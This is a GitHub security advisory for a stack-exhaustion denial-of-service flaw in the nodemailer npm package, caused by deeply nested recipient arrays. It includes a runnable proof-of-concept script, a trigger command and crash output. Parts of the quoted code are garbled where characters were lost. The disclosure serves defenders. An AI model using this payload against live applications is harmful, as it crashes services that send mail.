GitHub Advisoryadvisory · npm
GHSA-8vvx-rff5-p5rq Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- nodemailer
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-674
- Reviewed
- 2026-09-29
Affected packages
• npm nodemailer: < 10.0.2 → fixed in 10.0.2
Description
Submission metadata
| Field | Value |
|---|---|
| Ecosystem | npm |
| Package | `nodemailer` |
| Repository | https://github.com/nodemailer/nodemailer |
| Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` |
| Current tested version | `10.0.1` |
| Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` |
| Proposed affected range | `>= 2.7.2, {
if (address && address.address) {
const normalized = this._normalizeAddress(address.address);
// ...
return;
}
const parsed = this._normalizeParsedAddresses(addressparser(address));
for (let i = 0; i Array.join
-> childArray.toString
-> Array.join
-> childArray.toString
-> ...
```
At sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`.
4. The recipient limit is applied too late
Nodemailer's `maxRecipients` protection is evaluated only after the message envelope has been constructed:
```ts
const recipientCount = mail.message.getEnvelope().to.length;
```
Pinned source:
https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417
The exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition.
Vulnerable code path
```text
transporter.sendMail(message)
-> MailComposer(mail.data).compile()
-> mail.message.getEnvelope()
-> MimeNode._parseAddresses(message.to)
-> addressparser(nestedArray)
-> new Tokenizer(nestedArray)
-> nestedArray.toString()
-> Array.join / Array.toString recursion
-> RangeError: Maximum call stack size exceeded
```
Proof of concept
Test environment
```text
Operating system: Windows 11
Node.js: 20.20.2
Nodemailer: 10.0.1
Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Transport: jsonTransport
```
Installation
```console
mkdir nodemailer-nested-array-poc
cd nodemailer-nested-array-poc
npm init -y
npm install [email protected]
```
Create `poc.mjs`:
```js
import nodemailer from 'nodemailer';
const depth = Number(process.argv[2] || 5000);
// Valid JSON containing one address wrapped in `depth` arrays.
const json =
'['.repeat(depth) +
'"[email protected]"' +
']'.repeat(depth);
const recipient = JSON.parse(json);
console.log({
nodemailerVersion: '10.0.1',
depth,
jsonBytes: Buffer.byteLength(json)
});
const transport = nodemailer.createTransport({
jsonTransport: true
});
await transport.sendMail({
from: '[email protected]',
to: recipient,
subject: 'Nested recipient array PoC',
text: 'test'
});
console.log('sendMail resolved');
```
Trigger
```console
node poc.mjs 5000
```
Observed result
```text
{
nodemailerVersion: '10.0.1',
depth: 5000,
jsonBytes: 10021
}
node:internal/modules/run_main:123
triggerUncaughtException(
^
RangeError: Maximum call stack size exceeded
at Array.join ()
at Array.toString ()
at Array.join (<anonymous…
Related
Weakness · CWE (1)
- CWE-674 Uncontrolled Recursion weakness